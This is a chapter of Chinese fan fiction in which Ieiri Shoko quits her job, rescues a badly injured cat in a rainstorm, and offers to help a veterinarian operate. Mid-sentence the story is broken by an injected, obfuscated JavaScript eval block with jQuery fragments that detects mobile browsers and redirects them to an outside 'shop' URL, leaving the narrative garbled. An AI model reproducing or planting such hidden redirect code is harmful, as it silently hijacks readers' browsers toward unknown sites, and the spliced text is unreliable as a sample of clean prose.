就不该在这个时候提出辞职的。
家入硝子站在地铁口,看着眼前瓢泼的雨幕,紧了紧自己右手搂着的手提包。豆大的雨珠噼里啪啦地砸下来,带着将那她那娇贵轻便、晴雨两用的六骨雨伞砸出坑来的汹汹气势。
三个小时前,她还在那个黑心老板的办公室递交辞呈,窗外天空一片阴郁灰黑,老板顺着她的目光看了一眼,还颇为假惺惺地装出一副关照的模样:“家入啊,这天色看着不对,估计要下暴雨,你要不要借一把公司的伞走?下次记得来还就是了。”
“不用了,我自己在工位上备了伞,”家入硝子的思绪一瞬间被拉回来,她瞥了一眼脸上带着假笑的老狐狸,伸手将离职材料推过去,“工作交接已经完成了,您在我的离职材料上签个字就行。”
“行。”对方签得很爽快,毕竟她走了,那个沾亲带故的新人就能名正言顺地顶上来。她一毕业就入职了这家公司,在底层辛辛苦苦干了两年,最后全给别人做了嫁衣。
家入硝子接过那几张决定了自己接下来人生的单薄纸页,扫视了一遍是否还有遗漏的地方,确认一切都没问题后,她头也不回地离开了自己待了两年的地方。
现在她行走在雨幕里,在扑面而来的冷风和雨珠中费劲地调整手中被吹得斜歪的黑色雨伞,以保证自己包里的笔记本电脑不会被雨打湿。
她目前居住的公寓离地铁站大概五六百米,平时走得快十分钟都要不了的路程,在这一刻被拉得无比漫长。
家入硝子深一脚浅一脚地踏过已经积起凹洼水坑的路面,只披了件风衣外套的单薄身子被冷风吹得直哆嗦。路上的行人没剩几个,街边的商户也早早地拉下了卷帘门,只有路边那家24小时营业的便利店在灰白的雨幕中坚强地亮着暖色橘灯。
走过这个路口就到了、走过这个路口就到了……
她在心底给自己打着气,急匆匆地朝着那个熟悉的十字路口走去,却在路口的拐角看到了一点突兀的白色。
家入硝子不确定自己是不是眼花,但那点白色随着距离的接近越来越清晰,她看见一只被暴雨淋成落汤鸡的脏兮兮白猫,身下还有一滩晕开的暗红色血迹。
这年头还有人虐猫?家入硝子眉头紧蹙,抱着手提包的手指用力了些,指节都微微泛白。
不过她从小就不喜欢寻常女生都会怜爱的毛绒绒生物,不如说她对有生命的存在都不感冒,自然也就没有考虑过把流浪动物往家里捡这种想法。
不过这么淋着雨,看着确实有点可怜,也不知道究竟是死是活。
家入硝子看了一眼对方身下的那滩血,因为雨水晕染的缘故,她没办法准确判断猫的出血量,但考虑到雨水沾湿皮毛带来的降温、地面脏污可能导致的感染等诸多问题,在她看来,这只猫大概率活不过今晚。
已经到达了人生低谷,手里积蓄不多、未来一片灰暗,没有心情也没有精力去多管闲事的家入硝子稍微犹豫了两秒,便抬脚绕过那只像块破布的流浪猫,往家里走去。
她的头发和衣服下摆都被风斜着吹的雨水打湿了,要赶紧回去冲个热水澡,换身干净衣服才行,不然容易风寒感冒。按照家入硝子的习惯,最好再来上一罐啤酒暖暖身子。
只是当她走过路口几步路,公寓就在眼前时,她却顿住了脚步,身形一晃,转身快步往回走。
家入硝子也不知道自己在干什么,可能只是一时生出来的于心不忍,也可能是今天已经够倒霉了,糟心事不差这一桩。
她先是将手里的伞放在地上,为那只猫挡住头顶的冷雨,接着伸出手,小心翼翼地将那只猫的身体翻过来,查看它腰腹部那道狰狞的伤口。
当她的手碰到对方冰冷脏污的皮毛的时候,家入硝子的心一下子提了起来。那只猫的伤势很重,一道肉眼可见的撕裂伤赫然显露出来,可以看到脏器和白骨,几乎是横向将猫断成两截的程度。
她心下一紧,将自己身上的风衣脱下,用勉强干燥的布料把那团染成暗红色的白裹起来,快速地朝着家底下那家宠物医院赶去。
只是她来的时机不太凑巧,往常总是窝在前台在电脑上玩连连看、时不时和上下班的家入硝子打招呼的接待小妹,却在此时不见踪影。家入硝子把伞随意地搁置在门口的桶里,抱着怀里那团冰冷湿润的布料朝着里面走去,刚走了不到几步,就被突然冲出来的一个身影撞了一下,她赶紧伸出另一只手臂支撑住自己的身体,这才没有摔倒。
“对不起对不起——啊!硝子姐你怎么在这里?”
对方似乎完全没有看到柜台前站着的人,连忙躬身道歉。家入硝子定睛一看,对方正是刚刚前台不见身影的接待小妹,对方神色匆匆,一副火急火燎的模样。
“我……”
硝子还来不及回话,就看到接待小妹越过自己,脚底生风地冲到前台蹲下,拉开柜门翻箱倒柜地找东西,忙得都顾不上抬头,对上硝子的眼神:“今天不知道为什么,出事儿的小动物特别多!刚刚有个熟客家的两只猫打架,刚送过来,现在还躺在隔离的笼子里。还有只金毛不小心把主人的鱼线吃下肚了,医生正忙着给它做手术呢!我得快些找到备用的纱布,赶紧给他们送过去——”
她在柜子里倒腾了几秒,终于找到了需要的东西,满头大汗地抬起头来对上家入硝子的视线:“对了硝子姐,你怎么这么快下班了?你怀里抱着的是什么……”
接待小妹的话还没说完,视线就先落在了硝子怀里那团染了血的风衣上。她的表情怔了一瞬,对上家入硝子略带紧张的目光,像突然意识到什么那般止住了话头,瞳孔微微收缩:“……不会是我想到的那样吧?”
听到她的话,家入硝子的动作忍不住顿了顿,但还是咬着牙,小心翼翼地掀开刚刚挡风用、已经被染得一片粉红的风衣,白猫血迹斑斑的身躯就这么暴露在了宠物医院暖色调的光线之下。
“我的天呐……”看清的瞬间,接待小妹的喉咙里发出一声不自觉的喃喃,表情微微失神,“这什么情况啊?伤这么重?”
“具体情况我也不太清楚,”家入硝子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365214|199803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将白猫连着身下的风衣一起放在前台的桌面上,捋了把因为自己雨水和汗水粘在额头上的刘海,微微喘着气说道,“在十字路口那儿捡到的。你帮我问问医生,还能救吗?”
对方紧咬着下唇,眼神里闪烁着为难,她站在原地嗫喏了几秒,正准备说些什么,一阵急匆匆的脚步声从走廊上传来。
“小林!怎么我要的纱布还没找来?”刚结束了一趟手术,这家宠物医院里的医生推开了手术室的门,大步走了出来,他迎面撞上家入硝子的视线,面上带着几分诧异,“这不是家入小姐吗?怎么……”
“医生,硝子姐带了只受伤的猫过来,看着快死了!”小林这时才像找到了主心骨似的看向医生,还抓着纱布的手颤抖地指了指桌子上眼看着出气多进气少的白猫。
“我在路边刚捡到的,能救吗?”家入硝子垂在身侧的手紧了紧,虽然她一时头脑发热将猫带了过来,但这只猫有多大的概率能活下来,她自己也不确定。但是,如果眼睁睁地看着某条生命在自己眼前逝去,对她来说,那种感觉大概也是不痛快的。
医生用戴着橡胶手套的手翻了一下白猫血污的皮毛,语气凝重:“看上去大出血很严重,我先给这只进行清创和缝合手术吧。小林你先把纱布拿到手术室后再回来,助手会帮忙包扎球球的创口。”
球球是那只不慎将主人的钓鱼线吃下肚的金毛犬,刚刚医生和助手护士费了快两个小时,才把那根接近二十米的尼龙线从对方的腹中取了出来。
他直接从抽屉的包装袋里拿出了无菌布,摊开在前台的桌面上,泛着银光的金属手术工具在桌面上一字排开:“再次转移的话,伤势会加重。就在这里进行手术吧。”
“但是没有助手在旁边的话,谁来止血?”小林有些着急地发问。
家入硝子听到这话愣了一下。
她回想起自己的大学生涯,她高中毕业时被录取的专业是临床医学,前三年她的学习成绩一直名列前茅,各类奖学金也悉数收入囊中。但不知为什么,从第四年跟着老师见习开始,她总是没来由地在半夜心悸惊醒,看到一张张似曾相识却又残缺不全的苍白面孔,浑身湿透地从梦中醒来。梦魇甚至影响到了她见习活动时的状态,在手术室看着躺在病床上的病人,她总是忍不住地手心发汗、呼吸加速,最后不得不提交了转专业申请,选择了时下最火的市场营销专业,并在两年内修完了全部课程,顺利毕业后进入了那家黑心公司当普通文员,从此再也没碰过手术刀。
那都是快四年前的事情了,但情况紧急,如今只能死马当活马医。
“我可以,”家入硝子握住了自己冷汗涔涔的手,她的面色苍白,声音却很稳,“我学过三年临床医学,有相关的止血和缝合经验。”
医生抬起头看了她一眼,将她颤抖的手和发白的脸色尽收眼底。他沉默了两秒,就在家入硝子以为他会开口婉拒时,他转过头,对着旁边的小林嘱咐道:“手术室的换衣间里还有一套全新的防护服,你去把那套防护服拿过来,快去快回。”